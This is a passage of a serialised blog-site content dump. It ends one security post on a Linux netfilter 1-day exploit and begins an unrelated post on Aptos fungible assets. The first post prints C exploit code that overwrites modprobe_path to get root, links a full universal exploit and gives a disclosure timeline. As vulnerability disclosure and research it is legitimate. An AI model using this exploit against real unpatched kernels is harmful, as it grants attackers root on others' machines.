own finally becomes relatively trivial.",{"type":24,"tag":25,"props":66734,"children":66735},{},[66736,66738,66744],{"type":29,"value":66737},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":24,"tag":284,"props":66739,"children":66741},{"className":66740},[],[66742],{"type":29,"value":66743},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":29,"value":66745}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":24,"tag":317,"props":66747,"children":66749},{"className":35818,"code":66748,"language":35820,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[66750],{"type":24,"tag":284,"props":66751,"children":66752},{"__ignoreMap":7},[66753,66760,66782,66790,66797,66805,66813,66821,66829,66836,66844,66851,66889,66900,66907,66914,66921,66948,66979,66986,67008,67021,67028,67086,67093,67121,67128,67135,67156,67163,67184,67195,67202,67209,67230,67237,67265,67278,67285,67292,67341,67348,67416,67423,67444,67464,67471,67478,67485,67505],{"type":24,"tag":327,"props":66754,"children":66755},{"class":329,"line":330},[66756],{"type":24,"tag":327,"props":66757,"children":66758},{"style":346},[66759],{"type":29,"value":17865},{"type":24,"tag":327,"props":66761,"children":66762},{"class":329,"line":367},[66763,66768,66773,66778],{"type":24,"tag":327,"props":66764,"children":66765},{"style":346},[66766],{"type":29,"value":66767},"    puts(\"[*] ",{"type":24,"tag":327,"props":66769,"children":66770},{"style":1639},[66771],{"type":29,"value":66772},"overwrite",{"type":24,"tag":327,"props":66774,"children":66775},{"style":1639},[66776],{"type":29,"value":66777}," modprobe_path",{"type":24,"tag":327,"props":66779,"children":66780},{"style":844},[66781],{"type":29,"value":63013},{"type":24,"tag":327,"props":66783,"children":66784},{"class":329,"line":408},[66785],{"type":24,"tag":327,"props":66786,"children":66787},{"style":844},[66788],{"type":29,"value":66789},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":24,"tag":327,"props":66791,"children":66792},{"class":329,"line":421},[66793],{"type":24,"tag":327,"props":66794,"children":66795},{"style":844},[66796],{"type":29,"value":35895},{"type":24,"tag":327,"props":66798,"children":66799},{"class":329,"line":450},[66800],{"type":24,"tag":327,"props":66801,"children":66802},{"style":844},[66803],{"type":29,"value":66804},"        pipebuf->page = modprobe_page;\n",{"type":24,"tag":327,"props":66806,"children":66807},{"class":329,"line":481},[66808],{"type":24,"tag":327,"props":66809,"children":66810},{"style":844},[66811],{"type":29,"value":66812},"        pipebuf->offset = modprobe_off;\n",{"type":24,"tag":327,"props":66814,"children":66815},{"class":329,"line":500},[66816],{"type":24,"tag":327,"props":66817,"children":66818},{"style":844},[66819],{"type":29,"value":66820},"        pipebuf->len = 0;\n",{"type":24,"tag":327,"props":66822,"children":66823},{"class":329,"line":529},[66824],{"type":24,"tag":327,"props":66825,"children":66826},{"style":844},[66827],{"type":29,"value":66828},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":24,"tag":327,"props":66830,"children":66831},{"class":329,"line":538},[66832],{"type":24,"tag":327,"props":66833,"children":66834},{"style":844},[66835],{"type":29,"value":38369},{"type":24,"tag":327,"props":66837,"children":66838},{"class":329,"line":547},[66839],{"type":24,"tag":327,"props":66840,"children":66841},{"style":844},[66842],{"type":29,"value":66843},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":24,"tag":327,"props":66845,"children":66846},{"class":329,"line":557},[66847],{"type":24,"tag":327,"props":66848,"children":66849},{"style":844},[66850],{"type":29,"value":38405},{"type":24,"tag":327,"props":66852,"children":66853},{"class":329,"line":586},[66854,66859,66863,66867,66871,66876,66880,66884],{"type":24,"tag":327,"props":66855,"children":66856},{"style":844},[66857],{"type":29,"value":66858},"                perror(\"",{"type":24,"tag":327,"props":66860,"children":66861},{"style":346},[66862],{"type":29,"value":11329},{"type":24,"tag":327,"props":66864,"children":66865},{"style":381},[66866],{"type":29,"value":11899},{"type":24,"tag":327,"props":66868,"children":66869},{"style":346},[66870],{"type":29,"value":16221},{"type":24,"tag":327,"props":66872,"children":66873},{"style":1639},[66874],{"type":29,"value":66875},"write",{"type":24,"tag":327,"props":66877,"children":66878},{"style":346},[66879],{"type":29,"value":349},{"type":24,"tag":327,"props":66881,"children":66882},{"style":1639},[66883],{"type":29,"value":48653},{"type":24,"tag":327,"props":66885,"children":66886},{"style":346},[66887],{"type":29,"value":66888},")\");\n",{"type":24,"tag":327,"props":66890,"children":66891},{"class":329,"line":1017},[66892,66896],{"type":24,"tag":327,"props":66893,"children":66894},{"style":425},[66895],{"type":29,"value":65682},{"type":24,"tag":327,"props":66897,"children":66898},{"style":346},[66899],{"type":29,"value":405},{"type":24,"tag":327,"props":66901,"children":66902},{"class":329,"line":1026},[66903],{"type":24,"tag":327,"props":66904,"children":66905},{"style":346},[66906],{"type":29,"value":65607},{"type":24,"tag":327,"props":66908,"children":66909},{"class":329,"line":1048},[66910],{"type":24,"tag":327,"props":66911,"children":66912},{"style":346},[66913],{"type":29,"value":8989},{"type":24,"tag":327,"props":66915,"children":66916},{"class":329,"line":1067},[66917],{"type":24,"tag":327,"props":66918,"children":66919},{"emptyLinePlaceholder":16},[66920],{"type":29,"value":544},{"type":24,"tag":327,"props":66922,"children":66923},{"class":329,"line":1075},[66924,66928,66932,66936,66940,66944],{"type":24,"tag":327,"props":66925,"children":66926},{"style":340},[66927],{"type":29,"value":61338},{"type":24,"tag":327,"props":66929,"children":66930},{"style":346},[66931],{"type":29,"value":349},{"type":24,"tag":327,"props":66933,"children":66934},{"style":381},[66935],{"type":29,"value":8716},{"type":24,"tag":327,"props":66937,"children":66938},{"style":346},[66939],{"type":29,"value":65493},{"type":24,"tag":327,"props":66941,"children":66942},{"style":397},[66943],{"type":29,"value":2988},{"type":24,"tag":327,"props":66945,"children":66946},{"style":346},[66947],{"type":29,"value":65502},{"type":24,"tag":327,"props":66949,"children":66950},{"class":329,"line":1084},[66951,66955,66960,66964,66969,66974],{"type":24,"tag":327,"props":66952,"children":66953},{"style":340},[66954],{"type":29,"value":62039},{"type":24,"tag":327,"props":66956,"children":66957},{"style":346},[66958],{"type":29,"value":66959},"(fd_path, ",{"type":24,"tag":327,"props":66961,"children":66962},{"style":334},[66963],{"type":29,"value":62049},{"type":24,"tag":327,"props":66965,"children":66966},{"style":346},[66967],{"type":29,"value":66968},"(fd_path), ",{"type":24,"tag":327,"props":66970,"children":66971},{"style":844},[66972],{"type":29,"value":66973},"\"/proc/%i/fd/%i\"",{"type":24,"tag":327,"props":66975,"children":66976},{"style":346},[66977],{"type":29,"value":66978},", i, modprobe_fd);\n",{"type":24,"tag":327,"props":66980,"children":66981},{"class":329,"line":1100},[66982],{"type":24,"tag":327,"props":66983,"children":66984},{"emptyLinePlaceholder":16},[66985],{"type":29,"value":544},{"type":24,"tag":327,"props":66987,"children":66988},{"class":329,"line":1128},[66989,66994,66999,67003],{"type":24,"tag":327,"props":66990,"children":66991},{"style":340},[66992],{"type":29,"value":66993},"        lseek",{"type":24,"tag":327,"props":66995,"children":66996},{"style":346},[66997],{"type":29,"value":66998},"(modprobe_fd, ",{"type":24,"tag":327,"props":67000,"children":67001},{"style":397},[67002],{"type":29,"value":2988},{"type":24,"tag":327,"props":67004,"children":67005},{"style":346},[67006],{"type":29,"value":67007},", SEEK_SET);\n",{"type":24,"tag":327,"props":67009,"children":67010},{"class":329,"line":1148},[67011,67016],{"type":24,"tag":327,"props":67012,"children":67013},{"style":340},[67014],{"type":29,"value":67015},"        dprintf",{"type":24,"tag":327,"props":67017,"children":67018},{"style":346},[67019],{"type":29,"value":67020},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":24,"tag":327,"props":67022,"children":67023},{"class":329,"line":1176},[67024],{"type":24,"tag":327,"props":67025,"children":67026},{"emptyLinePlaceholder":16},[67027],{"type":29,"value":544},{"type":24,"tag":327,"props":67029,"children":67030},{"class":329,"line":1184},[67031,67035,67039,67043,67047,67051,67056,67060,67065,67070,67074,67078,67082],{"type":24,"tag":327,"props":67032,"children":67033},{"style":425},[67034],{"type":29,"value":8861},{"type":24,"tag":327,"props":67036,"children":67037},{"style":346},[67038],{"type":29,"value":5894},{"type":24,"tag":327,"props":67040,"children":67041},{"style":340},[67042],{"type":29,"value":66875},{"type":24,"tag":327,"props":67044,"children":67045},{"style":346},[67046],{"type":29,"value":349},{"type":24,"tag":327,"props":67048,"children":67049},{"style":356},[67050],{"type":29,"value":65546},{"type":24,"tag":327,"props":67052,"children":67053},{"style":346},[67054],{"type":29,"value":67055},"[pipe_idx][",{"type":24,"tag":327,"props":67057,"children":67058},{"style":397},[67059],{"type":29,"value":3238},{"type":24,"tag":327,"props":67061,"children":67062},{"style":346},[67063],{"type":29,"value":67064},"], fd_path, ",{"type":24,"tag":327,"props":67066,"children":67067},{"style":397},[67068],{"type":29,"value":67069},"32",{"type":24,"tag":327,"props":67071,"children":67072},{"style":346},[67073],{"type":29,"value":1674},{"type":24,"tag":327,"props":67075,"children":67076},{"style":381},[67077],{"type":29,"value":1596},{"type":24,"tag":327,"props":67079,"children":67080},{"style":397},[67081],{"type":29,"value":6695},{"type":24,"tag":327,"props":67083,"children":67084},{"style":346},[67085],{"type":29,"value":852},{"type":24,"tag":327,"props":67087,"children":67088},{"class":329,"line":1192},[67089],{"type":24,"tag":327,"props":67090,"children":67091},{"style":346},[67092],{"type":29,"value":38369},{"type":24,"tag":327,"props":67094,"children":67095},{"class":329,"line":1212},[67096,67100,67104,67108,67112,67117],{"type":24,"tag":327,"props":67097,"children":67098},{"style":340},[67099],{"type":29,"value":64619},{"type":24,"tag":327,"props":67101,"children":67102},{"style":346},[67103],{"type":29,"value":349},{"type":24,"tag":327,"props":67105,"children":67106},{"style":844},[67107],{"type":29,"value":1406},{"type":24,"tag":327,"props":67109,"children":67110},{"style":55093},[67111],{"type":29,"value":55096},{"type":24,"tag":327,"props":67113,"children":67114},{"style":844},[67115],{"type":29,"value":67116},"[-] write(pipe)\"",{"type":24,"tag":327,"props":67118,"children":67119},{"style":346},[67120],{"type":29,"value":583},{"type":24,"tag":327,"props":67122,"children":67123},{"class":329,"line":4841},[67124],{"type":24,"tag":327,"props":67125,"children":67126},{"style":346},[67127],{"type":29,"value":8989},{"type":24,"tag":327,"props":67129,"children":67130},{"class":329,"line":4862},[67131],{"type":24,"tag":327,"props":67132,"children":67133},{"emptyLinePlaceholder":16},[67134],{"type":29,"value":544},{"type":24,"tag":327,"props":67136,"children":67137},{"class":329,"line":4870},[67138,67142,67146,67151],{"type":24,"tag":327,"props":67139,"children":67140},{"style":425},[67141],{"type":29,"value":8861},{"type":24,"tag":327,"props":67143,"children":67144},{"style":346},[67145],{"type":29,"value":5894},{"type":24,"tag":327,"props":67147,"children":67148},{"style":340},[67149],{"type":29,"value":67150},"check_modprobe",{"type":24,"tag":327,"props":67152,"children":67153},{"style":346},[67154],{"type":29,"value":67155},"(fd_path))\n",{"type":24,"tag":327,"props":67157,"children":67158},{"class":329,"line":4879},[67159],{"type":24,"tag":327,"props":67160,"children":67161},{"style":346},[67162],{"type":29,"value":38369},{"type":24,"tag":327,"props":67164,"children":67165},{"class":329,"line":4913},[67166,67171,67175,67180],{"type":24,"tag":327,"props":67167,"children":67168},{"style":340},[67169],{"type":29,"value":67170},"            puts",{"type":24,"tag":327,"props":67172,"children":67173},{"style":346},[67174],{"type":29,"value":349},{"type":24,"tag":327,"props":67176,"children":67177},{"style":844},[67178],{"type":29,"value":67179},"\"[-] failed to overwrite modprobe\"",{"type":24,"tag":327,"props":67181,"children":67182},{"style":346},[67183],{"type":29,"value":583},{"type":24,"tag":327,"props":67185,"children":67186},{"class":329,"line":4938},[67187,67191],{"type":24,"tag":327,"props":67188,"children":67189},{"style":425},[67190],{"type":29,"value":10902},{"type":24,"tag":327,"props":67192,"children":67193},{"style":346},[67194],{"type":29,"value":405},{"type":24,"tag":327,"props":67196,"children":67197},{"class":329,"line":4974},[67198],{"type":24,"tag":327,"props":67199,"children":67200},{"style":346},[67201],{"type":29,"value":8989},{"type":24,"tag":327,"props":67203,"children":67204},{"class":329,"line":4982},[67205],{"type":24,"tag":327,"props":67206,"children":67207},{"emptyLinePlaceholder":16},[67208],{"type":29,"value":544},{"type":24,"tag":327,"props":67210,"children":67211},{"class":329,"line":4990},[67212,67216,67220,67225],{"type":24,"tag":327,"props":67213,"children":67214},{"style":425},[67215],{"type":29,"value":8861},{"type":24,"tag":327,"props":67217,"children":67218},{"style":346},[67219],{"type":29,"value":5894},{"type":24,"tag":327,"props":67221,"children":67222},{"style":340},[67223],{"type":29,"value":67224},"trigger_modprobe",{"type":24,"tag":327,"props":67226,"children":67227},{"style":346},[67228],{"type":29,"value":67229},"(status_fd))\n",{"type":24,"tag":327,"props":67231,"children":67232},{"class":329,"line":4999},[67233],{"type":24,"tag":327,"props":67234,"children":67235},{"style":346},[67236],{"type":29,"value":38369},{"type":24,"tag":327,"props":67238,"children":67239},{"class":329,"line":5042},[67240,67244,67248,67252,67256,67261],{"type":24,"tag":327,"props":67241,"children":67242},{"style":340},[67243],{"type":29,"value":67170},{"type":24,"tag":327,"props":67245,"children":67246},{"style":346},[67247],{"type":29,"value":349},{"type":24,"tag":327,"props":67249,"children":67250},{"style":844},[67251],{"type":29,"value":1406},{"type":24,"tag":327,"props":67253,"children":67254},{"style":55093},[67255],{"type":29,"value":55096},{"type":24,"tag":327,"props":67257,"children":67258},{"style":844},[67259],{"type":29,"value":67260},"[+] got root\"",{"type":24,"tag":327,"props":67262,"children":67263},{"style":346},[67264],{"type":29,"value":583},{"type":24,"tag":327,"props":67266,"children":67267},{"class":329,"line":5075},[67268,67273],{"type":24,"tag":327,"props":67269,"children":67270},{"style":425},[67271],{"type":29,"value":67272},"            goto",{"type":24,"tag":327,"props":67274,"children":67275},{"style":346},[67276],{"type":29,"value":67277}," out;\n",{"type":24,"tag":327,"props":67279,"children":67280},{"class":329,"line":5083},[67281],{"type":24,"tag":327,"props":67282,"children":67283},{"style":346},[67284],{"type":29,"value":8989},{"type":24,"tag":327,"props":67286,"children":67287},{"class":329,"line":5091},[67288],{"type":24,"tag":327,"props":67289,"children":67290},{"emptyLinePlaceholder":16},[67291],{"type":29,"value":544},{"type":24,"tag":327,"props":67293,"children":67294},{"class":329,"line":5100},[67295,67300,67304,67308,67312,67316,67320,67324,67328,67333,67337],{"type":24,"tag":327,"props":67296,"children":67297},{"style":425},[67298],{"type":29,"value":67299},"        for",{"type":24,"tag":327,"props":67301,"children":67302},{"style":346},[67303],{"type":29,"value":5894},{"type":24,"tag":327,"props":67305,"children":67306},{"style":334},[67307],{"type":29,"value":337},{"type":24,"tag":327,"props":67309,"children":67310},{"style":346},[67311],{"type":29,"value":61265},{"type":24,"tag":327,"props":67313,"children":67314},{"style":381},[67315],{"type":29,"value":384},{"type":24,"tag":327,"props":67317,"children":67318},{"style":397},[67319],{"type":29,"value":6695},{"type":24,"tag":327,"props":67321,"children":67322},{"style":346},[67323],{"type":29,"value":57954},{"type":24,"tag":327,"props":67325,"children":67326},{"style":381},[67327],{"type":29,"value":1596},{"type":24,"tag":327,"props":67329,"children":67330},{"style":346},[67331],{"type":29,"value":67332}," SKBUF_SPRAY; i",{"type":24,"tag":327,"props":67334,"children":67335},{"style":381},[67336],{"type":29,"value":57990},{"type":24,"tag":327,"props":67338,"children":67339},{"style":346},[67340],{"type":29,"value":852},{"type":24,"tag":327,"props":67342,"children":67343},{"class":329,"line":5176},[67344],{"type":24,"tag":327,"props":67345,"children":67346},{"style":346},[67347],{"type":29,"value":38369},{"type":24,"tag":327,"props":67349,"children":67350},{"class":329,"line":5209},[67351,67355,67359,67364,67368,67373,67378,67382,67387,67391,67395,67400,67404,67408,67412],{"type":24,"tag":327,"props":67352,"children":67353},{"style":425},[67354],{"type":29,"value":65523},{"type":24,"tag":327,"props":67356,"children":67357},{"style":346},[67358],{"type":29,"value":5894},{"type":24,"tag":327,"props":67360,"children":67361},{"style":340},[67362],{"type":29,"value":67363},"read",{"type":24,"tag":327,"props":67365,"children":67366},{"style":346},[67367],{"type":29,"value":349},{"type":24,"tag":327,"props":67369,"children":67370},{"style":356},[67371],{"type":29,"value":67372},"sock",{"type":24,"tag":327,"props":67374,"children":67375},{"style":346},[67376],{"type":29,"value":67377},"[i][",{"type":24,"tag":327,"props":67379,"children":67380},{"style":397},[67381],{"type":29,"value":3238},{"type":24,"tag":327,"props":67383,"children":67384},{"style":346},[67385],{"type":29,"value":67386},"], leak, ",{"type":24,"tag":327,"props":67388,"children":67389},{"style":397},[67390],{"type":29,"value":64870},{"type":24,"tag":327,"props":67392,"children":67393},{"style":381},[67394],{"type":29,"value":57976},{"type":24,"tag":327,"props":67396,"children":67397},{"style":397},[67398],{"type":29,"value":67399}," 320",{"type":24,"tag":327,"props":67401,"children":67402},{"style":346},[67403],{"type":29,"value":1674},{"type":24,"tag":327,"props":67405,"children":67406},{"style":381},[67407],{"type":29,"value":1596},{"type":24,"tag":327,"props":67409,"children":67410},{"style":397},[67411],{"type":29,"value":6695},{"type":24,"tag":327,"props":67413,"children":67414},{"style":346},[67415],{"type":29,"value":852},{"type":24,"tag":327,"props":67417,"children":67418},{"class":329,"line":5217},[67419],{"type":24,"tag":327,"props":67420,"children":67421},{"style":346},[67422],{"type":29,"value":38405},{"type":24,"tag":327,"props":67424,"children":67425},{"class":329,"line":5225},[67426,67431,67435,67440],{"type":24,"tag":327,"props":67427,"children":67428},{"style":340},[67429],{"type":29,"value":67430},"                perror",{"type":24,"tag":327,"props":67432,"children":67433},{"style":346},[67434],{"type":29,"value":349},{"type":24,"tag":327,"props":67436,"children":67437},{"style":844},[67438],{"type":29,"value":67439},"\"[-] read(socket)\"",{"type":24,"tag":327,"props":67441,"children":67442},{"style":346},[67443],{"type":29,"value":583},{"type":24,"tag":327,"props":67445,"children":67446},{"class":329,"line":5263},[67447,67452,67456,67460],{"type":24,"tag":327,"props":67448,"children":67449},{"style":425},[67450],{"type":29,"value":67451},"                return",{"type":24,"tag":327,"props":67453,"children":67454},{"style":381},[67455],{"type":29,"value":57976},{"type":24,"tag":327,"props":67457,"children":67458},{"style":397},[67459],{"type":29,"value":3238},{"type":24,"tag":327,"props":67461,"children":67462},{"style":346},[67463],{"type":29,"value":405},{"type":24,"tag":327,"props":67465,"children":67466},{"class":329,"line":5276},[67467],{"type":24,"tag":327,"props":67468,"children":67469},{"style":346},[67470],{"type":29,"value":65607},{"type":24,"tag":327,"props":67472,"children":67473},{"class":329,"line":5289},[67474],{"type":24,"tag":327,"props":67475,"children":67476},{"style":346},[67477],{"type":29,"value":8989},{"type":24,"tag":327,"props":67479,"children":67480},{"class":329,"line":5302},[67481],{"type":24,"tag":327,"props":67482,"children":67483},{"style":346},[67484],{"type":29,"value":535},{"type":24,"tag":327,"props":67486,"children":67487},{"class":329,"line":5360},[67488,67492,67496,67501],{"type":24,"tag":327,"props":67489,"children":67490},{"style":340},[67491],{"type":29,"value":62228},{"type":24,"tag":327,"props":67493,"children":67494},{"style":346},[67495],{"type":29,"value":349},{"type":24,"tag":327,"props":67497,"children":67498},{"style":844},[67499],{"type":29,"value":67500},"\"[-] fake modprobe failed\"",{"type":24,"tag":327,"props":67502,"children":67503},{"style":346},[67504],{"type":29,"value":583},{"type":24,"tag":327,"props":67506,"children":67507},{"class":329,"line":5369},[67508],{"type":24,"tag":327,"props":67509,"children":67510},{"style":346},[67511],{"type":29,"value":17865},{"type":24,"tag":25,"props":67513,"children":67514},{},[67515,67517,67524],{"type":29,"value":67516},"This trick has already been throughly detailed by ",{"type":24,"tag":57,"props":67518,"children":67521},{"href":67519,"rel":67520},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[61],[67522],{"type":29,"value":67523},"lau",{"type":29,"value":67525},", so we won't go much more into it.",{"type":24,"tag":235,"props":67527,"children":67529},{"id":67528},"universal-exploit-demo",[67530],{"type":29,"value":67531},"Universal exploit demo",{"type":24,"tag":25,"props":67533,"children":67534},{},[67535,67537,67543],{"type":29,"value":67536},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":24,"tag":57,"props":67538,"children":67541},{"href":67539,"rel":67540},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[61],[67542],{"type":29,"value":64137},{"type":29,"value":66},{"type":24,"tag":228,"props":67545,"children":67547},{"id":67546},"disclosure-timeline",[67548],{"type":29,"value":67549},"Disclosure Timeline",{"type":24,"tag":1380,"props":67551,"children":67552},{},[67553,67558,67563,67568,67573],{"type":24,"tag":179,"props":67554,"children":67555},{},[67556],{"type":29,"value":67557},"March 21st -- Patch made public",{"type":24,"tag":179,"props":67559,"children":67560},{},[67561],{"type":29,"value":67562},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":24,"tag":179,"props":67564,"children":67565},{},[67566],{"type":29,"value":67567},"March 24th -- Wrote KernelCTF exploit",{"type":24,"tag":179,"props":67569,"children":67570},{},[67571],{"type":29,"value":67572},"March 26th -- Wrote Universal exploit",{"type":24,"tag":179,"props":67574,"children":67575},{},[67576],{"type":29,"value":67577},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":24,"tag":25,"props":67579,"children":67580},{},[67581],{"type":29,"value":67582},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":24,"tag":228,"props":67584,"children":67585},{"id":10412},[67586],{"type":29,"value":226},{"type":24,"tag":25,"props":67588,"children":67589},{},[67590],{"type":29,"value":67591},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":24,"tag":25,"props":67593,"children":67594},{},[67595],{"type":29,"value":67596},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":24,"tag":10448,"props":67598,"children":67599},{},[67600],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":67602},[67603,67606,67609,67612,67613,67623,67631,67632],{"id":57288,"depth":367,"text":57291,"children":67604},[67605],{"id":57309,"depth":408,"text":57312},{"id":57352,"depth":367,"text":57352,"children":67607},[67608],{"id":57399,"depth":408,"text":57402},{"id":57457,"depth":367,"text":57460,"children":67610},[67611],{"id":58620,"depth":408,"text":58623},{"id":60495,"depth":367,"text":60498},{"id":60897,"depth":367,"text":60900,"children":67614},[67615,67616,67617,67619,67620,67621,67622],{"id":60924,"depth":408,"text":60927},{"id":61806,"depth":408,"text":61809},{"id":62392,"depth":408,"text":67618},"Leaking self pointer of nft_object",{"id":62790,"depth":408,"text":62793},{"id":63304,"depth":408,"text":63307},{"id":63434,"depth":408,"text":63091},{"id":64118,"depth":408,"text":64121},{"id":64141,"depth":367,"text":64144,"children":67624},[67625,67626,67627,67628,67630],{"id":64152,"depth":408,"text":64155},{"id":65010,"depth":408,"text":65013},{"id":65086,"depth":408,"text":65089},{"id":66711,"depth":408,"text":67629},"Overwriting modprobe_path",{"id":67528,"depth":408,"text":67531},{"id":67546,"depth":367,"text":67549},{"id":10412,"depth":367,"text":226},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":67637,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":67638,"description":67639,"image":67640,"date":67642,"isFeatured":16,"onBlogPage":16,"tags":67643,"body":67644,"_type":10481,"_id":74362,"_source":10483,"_file":74363,"_stem":74364,"_extension":10486},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":67641,"width":12953,"height":12954},"/posts/aptos-guide/title.png","2025-02-10",[13447],{"type":21,"children":67645,"toc":74346},[67646,67659,67664,67673,67679,67707,67780,67820,67854,68015,68034,68115,68155,68183,68200,68205,68213,68218,68224,68245,68325,68358,68366,68379,68384,68768,68773,68778,68784,68789,68801,68905,68943,68946,68964,69272,69277,69289,69295,69321,69342,69347,69526,69546,69552,69572,69584,69589,69595,69607,69670,69697,69721,69942,69945,69964,70074,70131,70267,70294,70300,70326,70570,70598,70900,70933,70947,70973,71006,71313,71325,71602,71616,71933,71952,71958,71990,72030,72131,72151,72271,72288,72362,72374,72462,72483,72489,72494,72499,72516,72537,72908,72967,72972,73423,73428,73464,73470,73482,73504,73530,73737,73751,74006,74018,74045,74196,74215,74245,74249,74260,74265,74278,74342],{"type":24,"tag":25,"props":67647,"children":67648},{},[67649,67651,67657],{"type":29,"value":67650},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":24,"tag":284,"props":67652,"children":67654},{"className":67653},[],[67655],{"type":29,"value":67656},"coin",{"type":29,"value":67658}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":24,"tag":25,"props":67660,"children":67661},{},[67662],{"type":29,"value":67663},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":24,"tag":67665,"props":67666,"children":67667},"important",{},[67668],{"type":24,"tag":25,"props":67669,"children":67670},{},[67671],{"type":29,"value":67672},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":24,"tag":228,"props":67674,"children":67676},{"id":67675},"aptos-coin-standard",[67677],{"type":29,"value":67678},"Aptos Coin standard",{"type":24,"tag":25,"props":67680,"children":67681},{},[67682,67684,67690,67692,67697,67698,67705],{"type":29,"value":67683},"In the beginning, Aptos used ",{"type":24,"tag":284,"props":67685,"children":67687},{"className":67686},[],[67688],{"type":29,"value":67689},"Coin",{"type":29,"value":67691},". It is still in use, although it is now considered \"legacy\". ",{"type":24,"tag":284,"props":67693,"children":67695},{"className":67694},[],[67696],{"type":29,"value":67689},{"type":29,"value":13069},{"type":24,"tag":57,"props":67699,"children":67702},{"href":67700,"rel":67701},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[61],[67703],{"type":29,"value":67704},"defined",{"type":29,"value":67706}," in Aptos as follows:",{"type":24,"tag":317,"props":67708,"children":67710},{"className":1553,"code":67709,"language":1552,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[67711],{"type":24,"tag":284,"props":67712,"children":67713},{"__ignoreMap":7},[67714,67753,67773],{"type":24,"tag":327,"props":67715,"children":67716},{"class":329,"line":330},[67717,67721,67725,67729,67733,67737,67741,67745,67749],{"type":24,"tag":327,"props":67718,"children":67719},{"style":334},[67720],{"type":29,"value":2195},{"type":24,"tag":327,"props":67722,"children":67723},{"style":1639},[67724],{"type":29,"value":13370},{"type":24,"tag":327,"props":67726,"children":67727},{"style":346},[67728],{"type":29,"value":1596},{"type":24,"tag":327,"props":67730,"children":67731},{"style":356},[67732],{"type":29,"value":13379},{"type":24,"tag":327,"props":67734,"children":67735},{"style":1639},[67736],{"type":29,"value":13384},{"type":24,"tag":327,"props":67738,"children":67739},{"style":346},[67740],{"type":29,"value":13389},{"type":24,"tag":327,"props":67742,"children":67743},{"style":356},[67744],{"type":29,"value":13394},{"type":24,"tag":327,"props":67746,"children":67747},{"style":356},[67748],{"type":29,"value":13399},{"type":24,"tag":327,"props":67750,"children":67751},{"style":346},[67752],{"type":29,"value":497},{"type":24,"tag":327,"props":67754,"children":67755},{"class":329,"line":367},[67756,67761,67765,67769],{"type":24,"tag":327,"props":67757,"children":67758},{"style":356},[67759],{"type":29,"value":67760},"    